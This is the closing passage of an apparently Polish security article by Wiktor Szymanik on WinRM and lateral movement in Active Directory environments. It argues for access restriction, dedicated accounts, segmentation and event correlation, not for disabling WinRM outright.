WinRM sam w sobie rzadko jest sygnałem incydentu. Dopiero nietypowy kontekst użycia – nowy host, nowy użytkownik, nowa relacja lub nietypowy zakres wykonywanych poleceń – może stanowić realną przesłankę do dalszej analizy.

Podsumowanie

WinRM to jeden z podstawowych mechanizmów administracyjnych w środowiskach Windows i Active Directory. Sam w sobie nie jest problemem. W scenariuszach lateral movement kluczowe znaczenie ma nie technologia, lecz model uprawnień, brak segmentacji oraz ograniczona widoczność tego, co faktycznie dzieje się w infrastrukturze.

Wyłączenie WinRM „na wszelki wypadek” rzadko rozwiązuje problem. Istotniejsze jest to, kto może z niego korzystać, z jakich hostów i w jakim zakresie. Ograniczenie dostępu do wyznaczonych stacji administracyjnych, stosowanie dedykowanych kont oraz minimalizacja lokalnych uprawnień administracyjnych znacząco redukują powierzchnię ataku.

Skuteczna ochrona nie polega więc na eliminowaniu mechanizmu, lecz na świadomym zarządzaniu dostępem oraz budowaniu kontekstu, korelacji zdarzeń, rozumieniu typowych wzorców administracyjnych i szybkim reagowaniu na odstępstwa od normy.

~Wiktor Szymanik